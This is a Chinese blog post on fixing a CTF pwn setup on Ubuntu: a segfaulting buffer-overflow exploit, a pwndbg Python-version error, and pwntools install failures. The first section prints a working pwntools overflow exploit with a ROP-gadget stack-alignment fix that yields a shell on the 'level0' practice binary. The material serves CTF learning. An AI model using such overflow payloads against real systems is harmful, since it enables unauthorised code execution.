搭建Ubuntu16.04系统下Pwn环境的几个疑难问题

2024-01-23 23:08

本文主要是介绍搭建Ubuntu16.04系统下Pwn环境的几个疑难问题,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

    • 1. 使用通用exp执行不能getshell(stopped with exit code -11 (SIGSEGV))
    • 2. 安装pwndbg后启动gdb报错(raise argparse.ArgumentError(banner_arg, f"banner can not be '{banner}'"))
    • 3. 安装pwntools报错(Building wheel for capstone (setup.py) ... error)

  之前搭建了一下 Ubuntu 系统下的 Pwn 环境,但是搭建过程中遇到很多问题,有些顺手可以解决。还有一部分花费了很长时间,在此记录。
  搭建过程:
   搭建Ubuntu16.04系统下的Pwn环境及问题解决实践

1. 使用通用exp执行不能getshell(stopped with exit code -11 (SIGSEGV))

  前情提要:
  我本来是有一套 Kali 的做题环境的,执行 exp 什么的都正常,后来重新搭了一套 Ubuntu20.04 的环境。工具什么的都可以正常安装,但是发现之前能用的 exp 都执行不了了,执行起来会报错并且不能getshell了。
  以攻防世界Pwn题目“level0”为例,EXP如下:

from pwn import *sh = process("./291721f42a044f50a2aead748d539df0")
sh.recv()
payload=0x88*'a'+p64(0x400596)
sh.sendline(payload)
sh.interactive()

  报错如下:

[+] Starting local process './291721f42a044f50a2aead748d539df0': pid 3975
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ ls
[*] Process './291721f42a044f50a2aead748d539df0' stopped with exit code -11 (SIGSEGV) (pid 3975)
[*] Got EOF while sending in interactive

在这里插入图片描述

  当时以为是 Ubuntu 版本太高,导致系统 libc 版本过高,不能正常执行,所以打算换一个版本低一些的 Ubuntu,结果试了好多版本都不能正常执行。。
  然后我的思路是将系统的 libc 版本换掉,或者指定运行时加载的 libc 文件,但是貌似不太行。
  因为我之前的 Kali 系统,EXP都是可以正常执行的,看了一下 libc 版本。

在这里插入图片描述
然后安装glibc-all-in_one
git clone https://github.com/matrix1001/glibc-all-in-one
安装后进入目录先./update_list更新一下,然后cat list可以查看支持的libc版本,cat old_list查看老版本,然后./download {libc版本}就可以下载对应libc版本了,我这里下载的是2.28-0ubuntu1_amd64

这里尝试了以下几种方法改变运行时的libc文件,但是都没啥效果,还是运行报错了。

1. patchelf

命令行使用patchelf命令。
patchelf --set-interpreter //home/pwn/Downloads/glibc-all-in-one/libs/2.28-0ubuntu1_amd64/libc-2.28.so ./291721f42a044f50a2aead748d539df0
patchelf --replace-needed libc.so.6 /home/pwn/Downloads/glibc-all-in-one/libs/2.28-0ubuntu1_amd64/ld-2.28.so ./291721f42a044f50a2aead748d539df0
patchelf --set-rpath /home/pwn/Downloads/glibc-all-in-one/libs/2.28-0ubuntu1_amd64/ ./291721f42a044f50a2aead748d539df0

但是我改完以后使用ldd查看报错了,运行也不行。

2. process的env参数

在Python脚本中
sh = process(["./291721f42a044f50a2aead748d539df0"], env={"LD_PRELOAD":"./libc-2.28.so"})指定libc。

经过尝试也不太行。

3. pwn_debug

安装:
git clone https://github.com/ray-cp/pwn_debug.git
cd pwn_debug
sudo python setup.py install

可以在Python脚本中指定加载的libc。debug模式和local模式二选一即可,debug模式的参数可以指定libc版本,local模式参数直接写libc地址即可。但我没有成功。。。

from pwn_debug import *pdbg=pwn_debug("binary")# debug模式
pdbg.debug("2.23")
p=pdbg.run("debug")# local模式
gdbp.local("./libc.so.6","ld.so")
p=pdbg.run("local")p.interactive()

最后经过分析,造成无法getshell的原因是因为libc版本不同,导致进入system函数后的栈结构遭到改变,不能满足system函数对于栈平衡的条件,从而导致了触发段错误。

我们在进入system函数之前下断点,可以看到汇编指令如下:

在我之前可以正常打EXP的Kali机器上:

在这里插入图片描述

可以看到 do_system 函数直接对 ebp 寄存器进行入栈。

而在我新搭建的 Ubuntu 环境上:

在这里插入图片描述
可以看到 do_system 函数的前几句是:

push r13
mov ecx, 0x10
push r12

然后才开始将 rbp 入栈。这也是导致栈不平衡的原因。

因此对于此问题的简单解决方法如下:

ROPgadget --binary ./291721f42a044f50a2aead748d539df0 --only 'pop|ret'

在这里插入图片描述
最终的EXP修改如下:

from pwn import *sh = process("./291721f42a044f50a2aead748d539df0")
sh.recv()
payload=0x88*'a'+p64(0x40065c)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x400596)
sh.sendline(payload)
sh.interactive()

运行成功:

在这里插入图片描述

2. 安装pwndbg后启动gdb报错(raise argparse.ArgumentError(banner_arg, f"banner can not be ‘{banner}’"))

具体报错内容如下:
在这里插入图片描述

Traceback (most recent call last):File "/home/pwn/Downloads/pwndbg/gdbinit.py", line 24, in <module>import pwndbg # isort:skipFile "/home/pwn/Downloads/pwndbg/pwndbg/__init__.py", line 21, in <module>import pwndbg.commands.contextFile "/home/pwn/Downloads/pwndbg/pwndbg/commands/context.py", line 141raise argparse.ArgumentError(banner_arg, f"banner can not be '{banner}'")^
SyntaxError: invalid syntax

这个问题也纠结了好长时间。

网上有的文章说是要安装32位运行库,我试了不行。
怀疑是gdb的版本,重装了gdb也不行。

最蛋疼的是我的这个报错在网上根本搜不到。。

我看很多文章写的 pwndbg 要求的是 Python3.5,所以一直也都没有怀疑Python的版本。
注:我的pwntools环境用的是Python2,但是安装pwndbg是要求Python3环境的。

后来实在没办法,跟着报错去查源码。
发现报错的源码是在contextoutput函数内,一个抛出异常的语句,并且用了格式化字符串。

def contextoutput(section, path, clearing, banner="both", width=None):if banner not in ('both', 'top', 'bottom', 'none'):# raise bannerraise argparse.ArgumentError(banner_arg, f"banner can not be '{banner}'")

根据报错内容,我在物理机写了同样的一段逻辑然后运行,发现正常啊。
然后查看对比了 Python 版本,正常运行的是3.7.2,虚拟机上是3.5.2,然后翻了 Python 的官方文档,发现 Python 是在3.6之后才支持的f-string语法。

我懒得再升级 Python 版本了,系统的自带的这个 Python 最好不要轻易卸载,不然很麻烦。

因为我报错的这个语句只是一个异常处理的分支,正常情况来说是不会走到这里的,所以理论上来说直接注释掉就可以。运行报错是因为当前版本的编译器不认识这种语法,所以大概修改一下,保存重新运行就行了。
在这里插入图片描述

def contextoutput(section, path, clearing, banner="both", width=None):if banner not in ('both', 'top', 'bottom', 'none'):raise argparse.ArgumentError(banner_arg, "banner can not be '" + banner + "'")# raise argparse.ArgumentError(banner_arg, f"banner can not be '{banner}'")

保存然后重新运行 gdb,成功启动pwndbg。

在这里插入图片描述

3. 安装pwntools报错(Building wheel for capstone (setup.py) … error)

我在使用部分 Ubuntu 版本,在安装pwntools时出现,忘了截图了,可以看下报错,有的是因为没有安装make命令。

sudo apt-get install make

安装一下就行了。

有的是因为没有安装Capstone反汇编框架。

git clone https://github.com/aquynh/capstone
cd capstone
make
make install

经尝试也可以使用

pip install python-capstone

这篇关于搭建Ubuntu16.04系统下Pwn环境的几个疑难问题的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/637807

相关文章

在不同系统间迁移Python程序的方法与教程

《在不同系统间迁移Python程序的方法与教程》本文介绍了几种将Windows上编写的Python程序迁移到Linux服务器上的方法,包括使用虚拟环境和依赖冻结、容器化技术(如Docker)、使用An... 目录使用虚拟环境和依赖冻结1. 创建虚拟环境2. 冻结依赖使用容器化技术(如 docker)1. 创

CentOS系统Maven安装教程分享

《CentOS系统Maven安装教程分享》本文介绍了如何在CentOS系统中安装Maven,并提供了一个简单的实际应用案例,安装Maven需要先安装Java和设置环境变量,Maven可以自动管理项目的... 目录准备工作下载并安装Maven常见问题及解决方法实际应用案例总结Maven是一个流行的项目管理工具

本地搭建DeepSeek-R1、WebUI的完整过程及访问

《本地搭建DeepSeek-R1、WebUI的完整过程及访问》:本文主要介绍本地搭建DeepSeek-R1、WebUI的完整过程及访问的相关资料,DeepSeek-R1是一个开源的人工智能平台,主... 目录背景       搭建准备基础概念搭建过程访问对话测试总结背景       最近几年,人工智能技术

在Mysql环境下对数据进行增删改查的操作方法

《在Mysql环境下对数据进行增删改查的操作方法》本文介绍了在MySQL环境下对数据进行增删改查的基本操作,包括插入数据、修改数据、删除数据、数据查询(基本查询、连接查询、聚合函数查询、子查询)等,并... 目录一、插入数据:二、修改数据:三、删除数据:1、delete from 表名;2、truncate

5分钟获取deepseek api并搭建简易问答应用

《5分钟获取deepseekapi并搭建简易问答应用》本文主要介绍了5分钟获取deepseekapi并搭建简易问答应用,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需... 目录1、获取api2、获取base_url和chat_model3、配置模型参数方法一:终端中临时将加

VScode连接远程Linux服务器环境配置图文教程

《VScode连接远程Linux服务器环境配置图文教程》:本文主要介绍如何安装和配置VSCode,包括安装步骤、环境配置(如汉化包、远程SSH连接)、语言包安装(如C/C++插件)等,文中给出了详... 目录一、安装vscode二、环境配置1.中文汉化包2.安装remote-ssh,用于远程连接2.1安装2

C#实现系统信息监控与获取功能

《C#实现系统信息监控与获取功能》在C#开发的众多应用场景中,获取系统信息以及监控用户操作有着广泛的用途,比如在系统性能优化工具中,需要实时读取CPU、GPU资源信息,本文将详细介绍如何使用C#来实现... 目录前言一、C# 监控键盘1. 原理与实现思路2. 代码实现二、读取 CPU、GPU 资源信息1.

在C#中获取端口号与系统信息的高效实践

《在C#中获取端口号与系统信息的高效实践》在现代软件开发中,尤其是系统管理、运维、监控和性能优化等场景中,了解计算机硬件和网络的状态至关重要,C#作为一种广泛应用的编程语言,提供了丰富的API来帮助开... 目录引言1. 获取端口号信息1.1 获取活动的 TCP 和 UDP 连接说明:应用场景:2. 获取硬

JAVA系统中Spring Boot应用程序的配置文件application.yml使用详解

《JAVA系统中SpringBoot应用程序的配置文件application.yml使用详解》:本文主要介绍JAVA系统中SpringBoot应用程序的配置文件application.yml的... 目录文件路径文件内容解释1. Server 配置2. Spring 配置3. Logging 配置4. Ma

2.1/5.1和7.1声道系统有什么区别? 音频声道的专业知识科普

《2.1/5.1和7.1声道系统有什么区别?音频声道的专业知识科普》当设置环绕声系统时,会遇到2.1、5.1、7.1、7.1.2、9.1等数字,当一遍又一遍地看到它们时,可能想知道它们是什... 想要把智能电视自带的音响升级成专业级的家庭影院系统吗?那么你将面临一个重要的选择——使用 2.1、5.1 还是